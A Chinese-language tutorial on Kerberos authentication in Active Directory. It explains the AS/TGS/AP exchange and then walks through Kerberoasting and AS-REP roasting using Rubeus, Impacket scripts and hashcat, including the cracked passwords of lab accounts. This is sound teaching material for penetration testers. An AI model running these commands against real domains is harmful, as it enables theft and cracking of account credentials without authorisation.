# Kerberos认证与利用

### **Kerberos**

  
深入了解 Kerberos 协议对于 AD 的利用十分重要。Kerberos 是 Active Directory 中一个非常有趣的话题，因为许多利用都是基于 Kerberos 的。自 Windows Server 2003 开始​​，Kerberos 充当着身份认证的主要角色。NTLM 认证采用了**质询响应**的机制，而 Kerberos 是基于票据系统的。

因此，在利用 Kerberos 之前，我们应该理解 Kerberos 认证的每一步。在 Kerberos 认证中，有这么几个角色我们需要知道：

**客户端**：登录其工作站的终端用户

**KDC**：域中的域控制器，由身份认证服务器 **AS**，和票据授予服务器 **TGS** 组成

**服务/资源服务器**：终端用户在认证后想要访问的服务或资源所在的服务器，如 **MSSQL 服务器实例**所在的服务器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/LMM7AcgGKD9TA58W-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/LMM7AcgGKD9TA58W-image.png)

##### **步骤 1：AS-REQ**

当终端用户登录时，客户端向域控制器的认证服务器发送请求。请求中包含了使用**用户密钥加密的时间戳**。根据 Kerberos 所使用的加密类型，例如 **AES256\_HMAC\_SHA1**，密钥则由**用户名、密码、域名**生成 (如果是 **RC4**，那么密码的 NTLM 哈希就可以)。

##### **步骤 2：AS-REP**

当认证服务器 AS 收到了请求，查询该用户的存在，并用 AD 数据库中该用户的凭证所得到的的密钥来解密该时间戳。如果该时间戳有效，那么 AS 返回使用 **krbtgt 密钥加密后的 TGT** 和**用户密钥加密后的会话密钥 1** (客户端与认证服务器之间) 。因为会话密钥 1 是使用用户密钥加密的，用户可以自行解密并且重用。TGT 包含了诸多用户的相关信息，包括权限信息 (组归属)，时间戳、地址、会话密钥 1。

##### **步骤 3：TGS-REQ**

客户端使用自己的密钥解密得到**会话密钥 1**，并用会话密钥 1 加密时间戳。客户端向票据授予服务器 TGS 发起请求，指定要访问的服务的 **SPN**，并提交得到的 TGT。

##### **步骤 4：TGS-REP**

票据授予服务器 TGS 使用 krbtgt 的密钥解密 TGT，从而得到会话密钥 1，再用会话密钥 1解密请求中的其他信息，如**时间戳**。如果一切校验无误，TGS 返回使用**会话密钥 1 加密的会话密钥 2** (客户端与资源服务器之间的会话密钥) ，以及**服务票据**。服务票据包含了客户端主体名称、目标资源的 SPN，以及会话密钥 2 等信息，服务票据被资源账户的密钥加密

##### **步骤 5：AP-REQ**

客户使用会话密钥 1 来解密会话密钥 2，于是客户现在有了**服务票据**以及**会话密钥 2** 了。客户向资源服务器发起请求，请求中包含了**服务票据**、使用**会话密钥 2 加密的时间戳和客户端主体**。

##### **步骤 6：AP-REP**

资源服务器使用 SPN 对应的账户的密钥解密服务票据，得到会话密钥 2，进而解密得到时间戳和客户端主体。资源服务器还会检查客户端的权限，例如其所在分组，一切无误即授予访问。

#### **简化流程**

  
Kerberos 认证实际上很复杂，在很多情况下，我们也不需要记住每一步的每一个细节，我们可以稍微简化流程以帮助快速理解。假设在以下步骤中，没有任何异常发生，例如错误的凭证、网络的不稳定、权限不足。

##### **客户端认证**

第 1 步：客户端向 KDC (AS) 请求 TGT

第 2 步：KDC (AS) 将 TGT 返回给客户端。

##### **客户授权**

第 3 步：客户端向 KDC (TGS) 请求服务票据

第 4 步：KDC (TGS) 将服务票据返回给客户端

##### **访问请求**

第 5 步：客户端请求访问特定的资源

第 6 步：如果客户端具有权限 (例如属于特定分组)，则授予访问

### **Kerberoasting 攻击**

如果一个在服务以域用户的上下文在域主机机上运行，那么它是一个服务帐户，并且具有服务主体名称 SPN。 SPN 是服务实例的唯一标识符。 **krbtgt** 总是设置了 SPN，但它是不可利用的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/X17LA9O0uGO8XM17-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/X17LA9O0uGO8XM17-image.png)

根据前面提到的 Kerberos 身份认证流程，我们发现服务帐户的密钥用于加密服务票据。 因此，Kerberoasting 是一种通过为目标服务帐户请求服务票据从而提取 **krb5tgs** 哈希的技术。之后则可以对 krb5tgs 哈希进行离线破解，如果运气好的话则能还原出明文密码。

#### **基于 Windows 平台的枚举与利用**

##### **枚举**

```powershell
Get-NetUser -SPN | select samaccountname
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/dgbBiaOwfjt1MNjY-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/dgbBiaOwfjt1MNjY-image.png)

##### **利用**

```powershell
rubeus.exe kerberoast /format:hashcat /user:[服务帐户] /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/L6ttpsfo6cmzwAfJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/L6ttpsfo6cmzwAfJ-image.png)

#### **基于 Linux 平台的枚举与利用**

##### **利用**

```shell
python3 GetUserSPNs.py -request -request-user [target user] -dc-ip [dc ip] [domain fqdn/user:password]
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/3Gy8iB5aiIcTwI0N-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/3Gy8iB5aiIcTwI0N-image.png)

#####   


##### **破解哈希**

```shell
hashcat -a 0 -m 13100 krb5tgs.txt rockyou.txt
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/WsxwdOlGpnMM83sU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/WsxwdOlGpnMM83sU-image.png)

我们得到 PROD 域中，sql\_service 账户的密码为 **beautiful1**。

### **ASREPRoasting 攻击**

如果域用户不需要 Kerberos 预身份验证，我们可以为用户请求 AS-REP 并从部分回复中检索 krb5asrep 哈希。 希望我们可以破解哈希并获得明文密码。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/XfTiIZaTl8u41mxV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/XfTiIZaTl8u41mxV-image.png)

#### **基于 Windows 平台的枚举与利用**

##### **枚举**

```powershell
Get-NetUser -PreAuthNotRequired | select samaccountname
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/w14DyEHDRU7k9Ew8-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/w14DyEHDRU7k9Ew8-image.png)

我们发现，raven-med 域中的用户 jason 禁用了预认证。

##### **利用**

```powershell
rubeus.exe asreproast /format:hashcat /user:[目标用户] /nowrap
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/NkrV24My1dO7kfqC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/NkrV24My1dO7kfqC-image.png)

#### **基于 Linux 平台的枚举与利用**

##### **利用**

```shell
python3 getNPUsers.py -dc-ip [dc ip] [domain fqdn]/ -usersfile [user list] -format hashcat 
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/MSvsLQK1n4NqS5l7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/MSvsLQK1n4NqS5l7-image.png)

##### **破解哈希**

```shell
hashcat -a 0 -m 18200 krb5asrep.txt rockyou.txt
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-04/scaled-1680-/wkjto2rP4J0zy6T7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-04/wkjto2rP4J0zy6T7-image.png)

我们成功地还原出了用户 jason 的密码，为 **1q2w3e4r**。